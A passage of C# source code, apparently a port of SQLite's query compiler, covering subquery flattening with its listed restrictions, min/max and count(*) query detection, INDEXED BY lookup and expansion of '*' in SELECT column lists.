Reassembly the compound query so that it will be freed correctly ** by the calling function */ if ( p.pPrior != null ) { sqlite3SelectDelete( db, ref p.pPrior ); } p.pPrior = pPrior; /*** TBD: Insert subroutine calls to close cursors on incomplete **** subqueries ****/ return SQLITE_OK; } #endif #if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW) /* Forward Declarations */ //static void substExprList(sqlite3*, ExprList*, int, ExprList*); //static void substSelect(sqlite3*, Select *, int, ExprList *); /* ** Scan through the expression pExpr. Replace every reference to ** a column in table number iTable with a copy of the iColumn-th ** entry in pEList. (But leave references to the ROWID column ** unchanged.) ** ** This routine is part of the flattening procedure. A subquery ** whose result set is defined by pEList appears as entry in the ** FROM clause of a SELECT such that the VDBE cursor assigned to that ** FORM clause entry is iTable. This routine make the necessary ** changes to pExpr so that it refers directly to the source table ** of the subquery rather the result set of the subquery. */ static Expr substExpr( sqlite3 db, /* Report malloc errors to this connection */ Expr pExpr, /* Expr in which substitution occurs */ int iTable, /* Table to be substituted */ ExprList pEList /* Substitute expressions */ ) { if ( pExpr == null ) return null; if ( pExpr.op == TK_COLUMN && pExpr.iTable == iTable ) { if ( pExpr.iColumn < 0 ) { pExpr.op = TK_NULL; } else { Expr pNew; Debug.Assert( pEList != null && pExpr.iColumn < pEList.nExpr ); Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null ); pNew = sqlite3ExprDup( db, pEList.a[pExpr.iColumn].pExpr, 0 ); if ( pExpr.pColl != null ) { pNew.pColl = pExpr.pColl; } sqlite3ExprDelete( db, ref pExpr ); pExpr = pNew; } } else { pExpr.pLeft = substExpr( db, pExpr.pLeft, iTable, pEList ); pExpr.pRight = substExpr( db, pExpr.pRight, iTable, pEList ); if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) { substSelect( db, pExpr.x.pSelect, iTable, pEList ); } else { substExprList( db, pExpr.x.pList, iTable, pEList ); } } return pExpr; } static void substExprList( sqlite3 db, /* Report malloc errors here */ ExprList pList, /* List to scan and in which to make substitutes */ int iTable, /* Table to be substituted */ ExprList pEList /* Substitute values */ ) { int i; if ( pList == null ) return; for ( i = 0 ; i < pList.nExpr ; i++ ) { pList.a[i].pExpr = substExpr( db, pList.a[i].pExpr, iTable, pEList ); } } static void substSelect( sqlite3 db, /* Report malloc errors here */ Select p, /* SELECT statement in which to make substitutions */ int iTable, /* Table to be replaced */ ExprList pEList /* Substitute values */ ) { SrcList pSrc; SrcList_item pItem; int i; if ( p == null ) return; substExprList( db, p.pEList, iTable, pEList ); substExprList( db, p.pGroupBy, iTable, pEList ); substExprList( db, p.pOrderBy, iTable, pEList ); p.pHaving = substExpr( db, p.pHaving, iTable, pEList ); p.pWhere = substExpr( db, p.pWhere, iTable, pEList ); substSelect( db, p.pPrior, iTable, pEList ); pSrc = p.pSrc; Debug.Assert( pSrc != null ); /* Even for (SELECT 1) we have: pSrc!=0 but pSrc->nSrc==0 */ if ( ALWAYS( pSrc ) ) { for ( i = pSrc.nSrc ; i > 0 ; i-- )//, pItem++ ) { pItem = pSrc.a[pSrc.nSrc - i]; substSelect( db, pItem.pSelect, iTable, pEList ); } } } #endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */ #if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW) /* ** This routine attempts to flatten subqueries in order to speed ** execution. It returns 1 if it makes changes and 0 if no flattening ** occurs. ** ** To understand the concept of flattening, consider the following ** query: ** ** SELECT a FROM (SELECT x+y AS a FROM t1 WHERE z<100) WHERE a>5 ** ** The default way of implementing this query is to execute the ** subquery first and store the results in a temporary table, then ** run the outer query on that temporary table. This requires two ** passes over the data. Furthermore, because the temporary table ** has no indices, the WHERE clause on the outer query cannot be ** optimized. ** ** This routine attempts to rewrite queries such as the above into ** a single flat select, like this: ** ** SELECT x+y AS a FROM t1 WHERE z<100 AND a>5 ** ** The code generated for this simpification gives the same result ** but only has to scan the data once. And because indices might ** exist on the table t1, a complete scan of the data might be ** avoided. ** ** Flattening is only attempted if all of the following are true: ** ** (1) The subquery and the outer query do not both use aggregates. ** ** (2) The subquery is not an aggregate or the outer query is not a join. ** ** (3) The subquery is not the right operand of a left outer join ** (Originally ticket #306. Strenghtened by ticket #3300) ** ** (4) The subquery is not DISTINCT or the outer query is not a join. ** ** (5) The subquery is not DISTINCT or the outer query does not use ** aggregates. ** ** (6) The subquery does not use aggregates or the outer query is not ** DISTINCT. ** ** (7) The subquery has a FROM clause. ** ** (8) The subquery does not use LIMIT or the outer query is not a join. ** ** (9) The subquery does not use LIMIT or the outer query does not use ** aggregates. ** ** (10) The subquery does not use aggregates or the outer query does not ** use LIMIT. ** ** (11) The subquery and the outer query do not both have ORDER BY clauses. ** ** (12) Not implemented. Subsumed into restriction (3). Was previously ** a separate restriction deriving from ticket #350. ** ** (13) The subquery and outer query do not both use LIMIT ** ** (14) The subquery does not use OFFSET ** ** (15) The outer query is not part of a compound select or the ** subquery does not have both an ORDER BY and a LIMIT clause. ** (See ticket #2339) ** ** (16) The outer query is not an aggregate or the subquery does ** not contain ORDER BY. (Ticket #2942) This used to not matter ** until we introduced the group_concat() function. ** ** (17) The sub-query is not a compound select, or it is a UNION ALL ** compound clause made up entirely of non-aggregate queries, and ** the parent query: ** ** * is not itself part of a compound select, ** * is not an aggregate or DISTINCT query, and ** * has no other tables or sub-selects in the FROM clause. ** ** The parent and sub-query may contain WHERE clauses. Subject to ** rules (11), (13) and (14), they may also contain ORDER BY, ** LIMIT and OFFSET clauses. ** ** (18) If the sub-query is a compound select, then all terms of the ** ORDER by clause of the parent must be simple references to ** columns of the sub-query. ** ** (19) The subquery does not use LIMIT or the outer query does not ** have a WHERE clause. ** ** (20) If the sub-query is a compound select, then it must not use ** an ORDER BY clause. Ticket #3773. We could relax this constraint ** somewhat by saying that the terms of the ORDER BY clause must ** appear as unmodified result columns in the outer query. But ** have other optimizations in mind to deal with that case. ** ** In this routine, the "p" parameter is a pointer to the outer query. ** The subquery is p.pSrc.a[iFrom]. isAgg is true if the outer query ** uses aggregates and subqueryIsAgg is true if the subquery uses aggregates. ** ** If flattening is not attempted, this routine is a no-op and returns 0. ** If flattening is attempted this routine returns 1. ** ** All of the expression analysis must occur on both the outer query and ** the subquery before this routine runs. */ static int flattenSubquery( Parse pParse, /* Parsing context */ Select p, /* The parent or outer SELECT statement */ int iFrom, /* Index in p.pSrc.a[] of the inner subquery */ bool isAgg, /* True if outer SELECT uses aggregate functions */ bool subqueryIsAgg /* True if the subquery uses aggregate functions */ ) { string zSavedAuthContext = pParse.zAuthContext; Select pParent; Select pSub; /* The inner query or "subquery" */ Select pSub1; /* Pointer to the rightmost select in sub-query */ SrcList pSrc; /* The FROM clause of the outer query */ SrcList pSubSrc; /* The FROM clause of the subquery */ ExprList pList; /* The result set of the outer query */ int iParent; /* VDBE cursor number of the pSub result set temp table */ int i; /* Loop counter */ Expr pWhere; /* The WHERE clause */ SrcList_item pSubitem;/* The subquery */ sqlite3 db = pParse.db; /* Check to see if flattening is permitted. Return 0 if not. */ Debug.Assert( p != null ); Debug.Assert( p.pPrior == null ); /* Unable to flatten compound queries */ pSrc = p.pSrc; Debug.Assert( pSrc != null && iFrom >= 0 && iFrom < pSrc.nSrc ); pSubitem = pSrc.a[iFrom]; iParent = pSubitem.iCursor; pSub = pSubitem.pSelect; Debug.Assert( pSub != null ); if ( isAgg && subqueryIsAgg ) return 0; /* Restriction (1) */ if ( subqueryIsAgg && pSrc.nSrc > 1 ) return 0; /* Restriction (2) */ pSubSrc = pSub.pSrc; Debug.Assert( pSubSrc != null ); /* Prior to version 3.1.2, when LIMIT and OFFSET had to be simple constants, ** not arbitrary expresssions, we allowed some combining of LIMIT and OFFSET ** because they could be computed at compile-time. But when LIMIT and OFFSET ** became arbitrary expressions, we were forced to add restrictions (13) ** and (14). */ if ( pSub.pLimit != null && p.pLimit != null ) return 0; /* Restriction (13) */ if ( pSub.pOffset != null ) return 0; /* Restriction (14) */ if ( p.pRightmost != null && pSub.pLimit != null && pSub.pOrderBy != null ) { return 0; /* Restriction (15) */ } if ( pSubSrc.nSrc == 0 ) return 0; /* Restriction (7) */ if ( ( pSub.selFlags & SF_Distinct ) != 0 || pSub.pLimit != null && ( pSrc.nSrc > 1 || isAgg ) ) { /* Restrictions (4)(5)(8)(9) */ return 0; } if ( ( p.selFlags & SF_Distinct ) != 0 && subqueryIsAgg ) { return 0; /* Restriction (6) */ } if ( p.pOrderBy != null && pSub.pOrderBy != null ) { return 0; /* Restriction (11) */ } if ( isAgg && pSub.pOrderBy != null ) return 0; /* Restriction (16) */ if ( pSub.pLimit != null && p.pWhere != null ) return 0; /* Restriction (19) */ /* OBSOLETE COMMENT 1: ** Restriction 3: If the subquery is a join, make sure the subquery is ** not used as the right operand of an outer join. Examples of why this ** is not allowed: ** ** t1 LEFT OUTER JOIN (t2 JOIN t3) ** ** If we flatten the above, we would get ** ** (t1 LEFT OUTER JOIN t2) JOIN t3 ** ** which is not at all the same thing. ** ** OBSOLETE COMMENT 2: ** Restriction 12: If the subquery is the right operand of a left outer /* Restriction 12: If the subquery is the right operand of a left outer ** join, make sure the subquery has no WHERE clause. ** An examples of why this is not allowed: ** ** t1 LEFT OUTER JOIN (SELECT * FROM t2 WHERE t2.x>0) ** ** If we flatten the above, we would get ** ** (t1 LEFT OUTER JOIN t2) WHERE t2.x>0 ** ** But the t2.x>0 test will always fail on a NULL row of t2, which ** effectively converts the OUTER JOIN into an INNER JOIN. ** ** THIS OVERRIDES OBSOLETE COMMENTS 1 AND 2 ABOVE: ** Ticket #3300 shows that flattening the right term of a LEFT JOIN ** is fraught with danger. Best to avoid the whole thing. If the ** subquery is the right term of a LEFT JOIN, then do not flatten. */ if ( ( pSubitem.jointype & JT_OUTER ) != 0 ) { return 0; } /* Restriction 17: If the sub-query is a compound SELECT, then it must ** use only the UNION ALL operator. And none of the simple select queries ** that make up the compound SELECT are allowed to be aggregate or distinct ** queries. */ if ( pSub.pPrior != null ) { if ( pSub.pOrderBy != null ) { return 0; /* Restriction 20 */ } if ( isAgg || ( p.selFlags & SF_Distinct ) != 0 || pSrc.nSrc != 1 ) { return 0; } for ( pSub1 = pSub ; pSub1 != null ; pSub1 = pSub1.pPrior ) { testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ); testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate ); if ( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 || ( pSub1.pPrior != null && pSub1.op != TK_ALL ) || NEVER( pSub1.pSrc == null ) || pSub1.pSrc.nSrc != 1 ) { return 0; } } /* Restriction 18. */ if ( p.pOrderBy != null ) { int ii; for ( ii = 0 ; ii < p.pOrderBy.nExpr ; ii++ ) { if ( p.pOrderBy.a[ii].iCol == 0 ) return 0; } } } /***** If we reach this point, flattening is permitted. *****/ /* Authorize the subquery */ pParse.zAuthContext = pSubitem.zName; sqlite3AuthCheck( pParse, SQLITE_SELECT, null, null, null ); pParse.zAuthContext = zSavedAuthContext; /* If the sub-query is a compound SELECT statement, then (by restrictions ** 17 and 18 above) it must be a UNION ALL and the parent query must ** be of the form: ** ** SELECT FROM () ** ** followed by any ORDER BY, LIMIT and/or OFFSET clauses. This block ** creates N-1 copies of the parent query without any ORDER BY, LIMIT or ** OFFSET clauses and joins them to the left-hand-side of the original ** using UNION ALL operators. In this case N is the number of simple ** select statements in the compound sub-query. ** ** Example: ** ** SELECT a+1 FROM ( ** SELECT x FROM tab ** UNION ALL ** SELECT y FROM tab ** UNION ALL ** SELECT abs(z*2) FROM tab2 ** ) WHERE a!=5 ORDER BY 1 ** ** Transformed into: ** ** SELECT x+1 FROM tab WHERE x+1!=5 ** UNION ALL ** SELECT y+1 FROM tab WHERE y+1!=5 ** UNION ALL ** SELECT abs(z*2)+1 FROM tab2 WHERE abs(z*2)+1!=5 ** ORDER BY 1 ** ** We call this the "compound-subquery flattening". */ for ( pSub = pSub.pPrior ; pSub != null ; pSub = pSub.pPrior ) { Select pNew; ExprList pOrderBy = p.pOrderBy; Expr pLimit = p.pLimit; Select pPrior = p.pPrior; p.pOrderBy = null; p.pSrc = null; p.pPrior = null; p.pLimit = null; pNew = sqlite3SelectDup( db, p, 0 ); p.pLimit = pLimit; p.pOrderBy = pOrderBy; p.pSrc = pSrc; p.op = TK_ALL; p.pRightmost = null; if ( pNew == null ) { pNew = pPrior; } else { pNew.pPrior = pPrior; pNew.pRightmost = null; } p.pPrior = pNew; // if ( db.mallocFailed != 0 ) return 1; } /* Begin flattening the iFrom-th entry of the FROM clause ** in the outer query. */ pSub = pSub1 = pSubitem.pSelect; /* Delete the transient table structure associated with the ** subquery */ //sqlite3DbFree( db, ref pSubitem.zDatabase ); //sqlite3DbFree( db, ref pSubitem.zName ); //sqlite3DbFree( db, ref pSubitem.zAlias ); pSubitem.zDatabase = null; pSubitem.zName = null; pSubitem.zAlias = null; pSubitem.pSelect = null; /* Defer deleting the Table object associated with the ** subquery until code generation is ** complete, since there may still exist Expr.pTab entries that ** refer to the subquery even after flattening. Ticket #3346. ** ** pSubitem->pTab is always non-NULL by test restrictions and tests above. */ if ( ALWAYS( pSubitem.pTab != null ) ) { Table pTabToDel = pSubitem.pTab; if ( pTabToDel.nRef == 1 ) { pTabToDel.pNextZombie = pParse.pZombieTab; pParse.pZombieTab = pTabToDel; } else { pTabToDel.nRef--; } pSubitem.pTab = null; } /* The following loop runs once for each term in a compound-subquery ** flattening (as described above). If we are doing a different kind ** of flattening - a flattening other than a compound-subquery flattening - ** then this loop only runs once. ** ** This loop moves all of the FROM elements of the subquery into the ** the FROM clause of the outer query. Before doing this, remember ** the cursor number for the original outer query FROM element in ** iParent. The iParent cursor will never be used. Subsequent code ** will scan expressions looking for iParent references and replace ** those references with expressions that resolve to the subquery FROM ** elements we are now copying in. */ for ( pParent = p ; pParent != null ; pParent = pParent.pPrior, pSub = pSub.pPrior ) { int nSubSrc; u8 jointype = 0; pSubSrc = pSub.pSrc; /* FROM clause of subquery */ nSubSrc = pSubSrc.nSrc; /* Number of terms in subquery FROM clause */ pSrc = pParent.pSrc; /* FROM clause of the outer query */ if ( pSrc != null ) { Debug.Assert( pParent == p ); /* First time through the loop */ jointype = pSubitem.jointype; } else { Debug.Assert( pParent != p ); /* 2nd and subsequent times through the loop */ pSrc = pParent.pSrc = sqlite3SrcListAppend( db, null, null, null ); //if ( pSrc == null ) //{ // //Debug.Assert( db.mallocFailed != 0 ); // break; //} } /* The subquery uses a single slot of the FROM clause of the outer ** query. If the subquery has more than one element in its FROM clause, ** then expand the outer query to make space for it to hold all elements ** of the subquery. ** ** Example: ** ** SELECT * FROM tabA, (SELECT * FROM sub1, sub2), tabB; ** ** The outer query has 3 slots in its FROM clause. One slot of the ** outer query (the middle slot) is used by the subquery. The next ** block of code will expand the out query to 4 slots. The middle ** slot is expanded to two slots in order to make space for the ** two elements in the FROM clause of the subquery. */ if ( nSubSrc > 1 ) { pParent.pSrc = pSrc = sqlite3SrcListEnlarge( db, pSrc, nSubSrc - 1, iFrom + 1 ); //if ( db.mallocFailed != 0 ) //{ // break; //} } /* Transfer the FROM clause terms from the subquery into the ** outer query. */ for ( i = 0 ; i < nSubSrc ; i++ ) { sqlite3IdListDelete( db, ref pSrc.a[i + iFrom].pUsing ); pSrc.a[i + iFrom] = pSubSrc.a[i]; pSubSrc.a[i] = new SrcList_item();//memset(pSubSrc.a[i], 0, sizeof(pSubSrc.a[i])); } pSrc.a[iFrom].jointype = jointype; /* Now begin substituting subquery result set expressions for ** references to the iParent in the outer query. ** ** Example: ** ** SELECT a+5, b*10 FROM (SELECT x*3 AS a, y+10 AS b FROM t1) WHERE a>b; ** \ \_____________ subquery __________/ / ** \_____________________ outer query ______________________________/ ** ** We look at every expression in the outer query and every place we see ** "a" we substitute "x*3" and every place we see "b" we substitute "y+10". */ pList = pParent.pEList; for ( i = 0 ; i < pList.nExpr ; i++ ) { if ( pList.a[i].zName == null ) { string zSpan = pList.a[i].zSpan; if ( ALWAYS( zSpan ) ) { pList.a[i].zName = zSpan;// sqlite3DbStrDup( db, zSpan ); } } } substExprList( db, pParent.pEList, iParent, pSub.pEList ); if ( isAgg ) { substExprList( db, pParent.pGroupBy, iParent, pSub.pEList ); pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList ); } if ( pSub.pOrderBy != null ) { Debug.Assert( pParent.pOrderBy == null ); pParent.pOrderBy = pSub.pOrderBy; pSub.pOrderBy = null; } else if ( pParent.pOrderBy != null ) { substExprList( db, pParent.pOrderBy, iParent, pSub.pEList ); } if ( pSub.pWhere != null ) { pWhere = sqlite3ExprDup( db, pSub.pWhere, 0 ); } else { pWhere = null; } if ( subqueryIsAgg ) { Debug.Assert( pParent.pHaving == null ); pParent.pHaving = pParent.pWhere; pParent.pWhere = pWhere; pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList ); pParent.pHaving = sqlite3ExprAnd( db, pParent.pHaving, sqlite3ExprDup( db, pSub.pHaving, 0 ) ); Debug.Assert( pParent.pGroupBy == null ); pParent.pGroupBy = sqlite3ExprListDup( db, pSub.pGroupBy, 0 ); } else { pParent.pWhere = substExpr( db, pParent.pWhere, iParent, pSub.pEList ); pParent.pWhere = sqlite3ExprAnd( db, pParent.pWhere, pWhere ); } /* The flattened query is distinct if either the inner or the ** outer query is distinct. */ pParent.selFlags = (u16)( pParent.selFlags | pSub.selFlags & SF_Distinct ); /* ** SELECT ... FROM (SELECT ... LIMIT a OFFSET b) LIMIT x OFFSET y; ** ** One is tempted to try to add a and b to combine the limits. But this ** does not work if either limit is negative. */ if ( pSub.pLimit != null ) { pParent.pLimit = pSub.pLimit; pSub.pLimit = null; } } /* Finially, delete what is left of the subquery and return ** success. */ sqlite3SelectDelete( db, ref pSub ); sqlite3SelectDelete( db, ref pSub1 ); return 1; } #endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */ /* ** Analyze the SELECT statement passed as an argument to see if it ** is a min() or max() query. Return WHERE_ORDERBY_MIN or WHERE_ORDERBY_MAX if ** it is, or 0 otherwise. At present, a query is considered to be ** a min()/max() query if: ** ** 1. There is a single object in the FROM clause. ** ** 2. There is a single expression in the result set, and it is ** either min(x) or max(x), where x is a column reference. */ static u8 minMaxQuery( Select p ) { Expr pExpr; ExprList pEList = p.pEList; if ( pEList.nExpr != 1 ) return WHERE_ORDERBY_NORMAL; pExpr = pEList.a[0].pExpr; if ( pExpr.op != TK_AGG_FUNCTION ) return 0; if ( NEVER( ExprHasProperty( pExpr, EP_xIsSelect ) ) ) return 0; pEList = pExpr.x.pList; if ( pEList == null || pEList.nExpr != 1 ) return 0; if ( pEList.a[0].pExpr.op != TK_AGG_COLUMN ) return WHERE_ORDERBY_NORMAL; Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); if ( String.Compare( pExpr.u.zToken, "min", true ) == 0 )//sqlite3StrICmp(pExpr->u.zToken,"min")==0 ) { return WHERE_ORDERBY_MIN; } else if ( String.Compare( pExpr.u.zToken, "max", true ) == 0 )//sqlite3StrICmp(pExpr->u.zToken,"max")==0 ) { return WHERE_ORDERBY_MAX; } return WHERE_ORDERBY_NORMAL; } /* ** The select statement passed as the first argument is an aggregate query. ** The second argment is the associated aggregate-info object. This ** function tests if the SELECT is of the form: ** ** SELECT count(*) FROM ** ** where table is a database table, not a sub-select or view. If the query ** does match this pattern, then a pointer to the Table object representing ** is returned. Otherwise, 0 is returned. */ static Table isSimpleCount( Select p, AggInfo pAggInfo ) { Table pTab; Expr pExpr; Debug.Assert( null == p.pGroupBy ); if ( p.pWhere != null || p.pEList.nExpr != 1 || p.pSrc.nSrc != 1 || p.pSrc.a[0].pSelect != null ) { return null; } pTab = p.pSrc.a[0].pTab; pExpr = p.pEList.a[0].pExpr; Debug.Assert( pTab != null && null == pTab.pSelect && pExpr != null ); if ( IsVirtual( pTab ) ) return null; if ( pExpr.op != TK_AGG_FUNCTION ) return null; if ( ( pAggInfo.aFunc[0].pFunc.flags & SQLITE_FUNC_COUNT ) == 0 ) return null; if ( ( pExpr.flags & EP_Distinct ) != 0 ) return null; return pTab; } /* ** If the source-list item passed as an argument was augmented with an ** INDEXED BY clause, then try to locate the specified index. If there ** was such a clause and the named index cannot be found, return ** SQLITE_ERROR and leave an error in pParse. Otherwise, populate ** pFrom.pIndex and return SQLITE_OK. */ static int sqlite3IndexedByLookup( Parse pParse, SrcList_item pFrom ) { if ( pFrom.pTab != null && pFrom.zIndex != null && pFrom.zIndex.Length != 0 ) { Table pTab = pFrom.pTab; string zIndex = pFrom.zIndex; Index pIdx; for ( pIdx = pTab.pIndex ; pIdx != null && sqlite3StrICmp( pIdx.zName, zIndex ) != 0 ; pIdx = pIdx.pNext ) ; if ( null == pIdx ) { sqlite3ErrorMsg( pParse, "no such index: %s", zIndex ); return SQLITE_ERROR; } pFrom.pIndex = pIdx; } return SQLITE_OK; } /* ** This routine is a Walker callback for "expanding" a SELECT statement. ** "Expanding" means to do the following: ** ** (1) Make sure VDBE cursor numbers have been assigned to every ** element of the FROM clause. ** ** (2) Fill in the pTabList.a[].pTab fields in the SrcList that ** defines FROM clause. When views appear in the FROM clause, ** fill pTabList.a[].x.pSelect with a copy of the SELECT statement ** that implements the view. A copy is made of the view's SELECT ** statement so that we can freely modify or delete that statement ** without worrying about messing up the presistent representation ** of the view. ** ** (3) Add terms to the WHERE clause to accomodate the NATURAL keyword ** on joins and the ON and USING clause of joins. ** ** (4) Scan the list of columns in the result set (pEList) looking ** for instances of the "*" operator or the TABLE.* operator. ** If found, expand each "*" to be every column in every table ** and TABLE.* to be every column in TABLE. ** */ static int selectExpander( Walker pWalker, Select p ) { Parse pParse = pWalker.pParse; int i, j, k; SrcList pTabList; ExprList pEList; SrcList_item pFrom; sqlite3 db = pParse.db; //if ( db.mallocFailed != 0 ) //{ // return WRC_Abort; //} if ( NEVER( p.pSrc == null ) || ( p.selFlags & SF_Expanded ) != 0 ) { return WRC_Prune; } p.selFlags |= SF_Expanded; pTabList = p.pSrc; pEList = p.pEList; /* Make sure cursor numbers have been assigned to all entries in ** the FROM clause of the SELECT statement. */ sqlite3SrcListAssignCursors( pParse, pTabList ); /* Look up every table named in the FROM clause of the select. If ** an entry of the FROM clause is a subquery instead of a table or view, ** then create a transient table ure to describe the subquery. */ for ( i = 0 ; i < pTabList.nSrc ; i++ )// pFrom++ ) { pFrom = pTabList.a[i]; Table pTab; if ( pFrom.pTab != null ) { /* This statement has already been prepared. There is no need ** to go further. */ Debug.Assert( i == 0 ); return WRC_Prune; } if ( pFrom.zName == null ) { #if !SQLITE_OMIT_SUBQUERY Select pSel = pFrom.pSelect; /* A sub-query in the FROM clause of a SELECT */ Debug.Assert( pSel != null ); Debug.Assert( pFrom.pTab == null ); sqlite3WalkSelect( pWalker, pSel ); pFrom.pTab = pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) ); if ( pTab == null ) return WRC_Abort; pTab.dbMem = db.lookaside.bEnabled != 0 ? db : null; pTab.nRef = 1; pTab.zName = sqlite3MPrintf( db, "sqlite_subquery_%p_", pTab ); while ( pSel.pPrior != null ) { pSel = pSel.pPrior; } selectColumnsFromExprList( pParse, pSel.pEList, ref pTab.nCol, ref pTab.aCol ); pTab.iPKey = -1; pTab.tabFlags |= TF_Ephemeral; #endif } else { /* An ordinary table or view name in the FROM clause */ Debug.Assert( pFrom.pTab == null ); pFrom.pTab = pTab = sqlite3LocateTable( pParse, 0, pFrom.zName, pFrom.zDatabase ); if ( pTab == null ) return WRC_Abort; pTab.nRef++; #if !(SQLITE_OMIT_VIEW) || !(SQLITE_OMIT_VIRTUALTABLE) if ( pTab.pSelect != null || IsVirtual( pTab ) ) { /* We reach here if the named table is a really a view */ if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) return WRC_Abort; pFrom.pSelect = sqlite3SelectDup( db, pTab.pSelect, 0 ); sqlite3WalkSelect( pWalker, pFrom.pSelect ); } #endif } /* Locate the index named by the INDEXED BY clause, if any. */ if ( sqlite3IndexedByLookup( pParse, pFrom ) != 0 ) { return WRC_Abort; } } /* Process NATURAL keywords, and ON and USING clauses of joins. */ if ( /* db.mallocFailed != 0 || */ sqliteProcessJoin( pParse, p ) != 0 ) { return WRC_Abort; } /* For every "*" that occurs in the column list, insert the names of ** all columns in all tables. And for every TABLE.* insert the names ** of all columns in TABLE. The parser inserted a special expression ** with the TK_ALL operator for each "*" that it found in the column list. ** The following code just has to locate the TK_ALL expressions and expand ** each one to the list of all columns in all tables. ** ** The first loop just checks to see if there are any "*" operators ** that need expanding. */ for ( k = 0 ; k < pEList.nExpr ; k++ ) { Expr pE = pEList.a[k].pExpr; if ( pE.op == TK_ALL ) break; Debug.Assert( pE.op != TK_DOT || pE.pRight != null ); Debug.Assert( pE.op != TK_DOT || ( pE.pLeft != null && pE.pLeft.op == TK_ID ) ); if ( pE.op == TK_DOT && pE.pRight.op == TK_ALL ) break; } if ( k < pEList.nExpr ) { /* ** If we get here it means the result set contains one or more "*" ** operators that need to be expanded. Loop through each expression ** in the result set and expand them one by one. */ ExprList_item[] a = pEList.a; ExprList pNew = null; int flags = pParse.db.flags; bool longNames = ( flags & SQLITE_FullColNames ) != 0 && ( flags & SQLITE_ShortColNames ) == 0; for ( k = 0 ; k < pEList.nExpr ; k++ ) { Expr pE = a[k].pExpr; Debug.Assert( pE.op != TK_DOT || pE.pRight != null ); if ( pE.op != TK_ALL && ( pE.op != TK_DOT || pE.pRight.op != TK_ALL ) ) { /* This particular expression does not need to be expanded. */ pNew = sqlite3ExprListAppend( pParse, pNew, a[k].pExpr ); if ( pNew != null ) { pNew.a[pNew.nExpr - 1].zName = a[k].zName; pNew.a[pNew.nExpr - 1].zSpan = a[k].zSpan; a[k].zName = null; a[k].zSpan = null; } a[k].pExpr = null; } else { /* This expression is a "*" or a "TABLE.*" and needs to be ** expanded. */ int tableSeen = 0; /* Set to 1 when TABLE matches */ string zTName; /* text of name of TABLE */ if ( pE.op == TK_DOT ) { Debug.Assert( pE.pLeft != null ); Debug.Assert( !ExprHasProperty( pE.pLeft, EP_IntValue ) ); zTName = pE.pLeft.u.zToken; } else { zTName = null; } for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pFrom++ ) { pFrom = pTabList.a[i]; Table pTab = pFrom.pTab; string zTabName = pFrom.zAlias; if ( zTabName == null ) { zTabName = pTab.zName; } ///if ( db.mallocFailed != 0 ) break; if ( zTName != null && sqlite3StrICmp( zTName, zTabName ) != 0 ) { continue; } tableSeen = 1; for ( j = 0 ; j < pTab.nCol ; j++ ) { Expr pExpr, pRight; string zName = pTab.aCol[j].zName; string zColname; /* The computed column name */ string zToFree; /* Malloced string that needs to be freed */ Token sColname = new Token(); /* Computed column name as a token */ /* If a column is marked as 'hidden' (currently only possible ** for virtual tables), do not include it in the expanded ** result-set list. */ if ( IsHiddenColumn( pTab.aCol[j] ) ) { Debug.Assert( IsVirtual( pTab ) ); continue; } if ( i > 0 && ( zTName == null || zTName.Length == 0 ) ) { SrcList_item pLeft = pTabList.a[i - 1]; if ( ( pTabList.a[i].jointype & JT_NATURAL ) != 0 &&//pLeft[1] columnIndex( pLeft.pTab, zName ) >= 0 ) { /* In a NATURAL join, omit the join columns from the ** table on the right */ continue; } if ( sqlite3IdListIndex( pTabList.a[i].pUsing, zName ) >= 0 )//pLeft[1] { /* In a join with a USING clause, omit columns in the ** using clause from the table on the right. */ continue; } } pRight = sqlite3Expr( db, TK_ID, zName ); zColname = zName; zToFree = ""; if ( longNames || pTabList.nSrc > 1 ) { Expr pLeft; pLeft = sqlite3Expr( db, TK_ID, zTabName ); pExpr = sqlite3PExpr( pParse, TK_DOT, pLeft, pRight, 0 ); if ( longNames ) { zColname = sqlite3MPrintf( db, "%s.%s", zTabName, zName ); zToFree = zColname; } } else { pExpr = pRight; } pNew = sqlite3ExprListAppend( pParse, pNew, pExpr ); sColname.z = zColname; sColname.n = sqlite3Strlen30( zColname ); sqlite3ExprListSetName( pParse, pNew, sColname, 0 ); //sqlite3DbFree( db, zToFree ); } } if ( tableSeen == 0 ) { if ( zTName != null ) { sqlite3ErrorMsg( pParse, "no such table: %s", zTName ); } else { sqlite3ErrorMsg( pParse, "no tables specified" ); } } } } sqlite3ExprListDelete( db, ref pEList ); p.pEList = pNew; } #if SQLITE_MAX_COLUMN if( p.pEList && p.pEList.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){ sqlite3ErrorMsg(pParse, "too many columns in result set"); } #endif return WRC_Continue; } /* ** No-op routine for the parse-tree walker. ** ** When this routine is the Walker.xExprCallback then expression trees ** are walked without any actions being taken at each node. Presumably, ** when this routine is used for Walker.xExprCallback then ** Walker.xSelectCallback is set to do something useful for every ** subquery in the parser tree. */ static int exprWalkNoop( Walker NotUsed, ref Expr NotUsed2 ) { UNUSED_PARAMETER2( NotUsed, NotUsed2 ); return WRC_Continue; } /* ** This routine "expands" a SELECT statement and all of its subqueries. ** For additional information on what it means to "expand" a SELECT ** statement, see the comment on the selectExpand worker callback above. ** ** Expanding a SELECT statement is the first step in processing a ** SELECT statement. The SELECT statement must be expanded before ** name resolution is performed. ** ** If anything goes wrong, an error message is written into pParse. ** The calling function can detect the problem by looking at pParse.nErr ** and/or pParse.db.mallocFailed. */ static void sqlite3SelectExpand( Parse pParse, Select pSelect ) { Walker w = new Walker(); w.xSelectCallback = selectExpander; w.xExprCallback = exprWalkNoop; w.pParse = pParse; sqlite3WalkSelect( w, pSelect ); } #if !SQLITE_OMIT_SUBQUERY /* ** This is a Walker.xSelectCallback callback 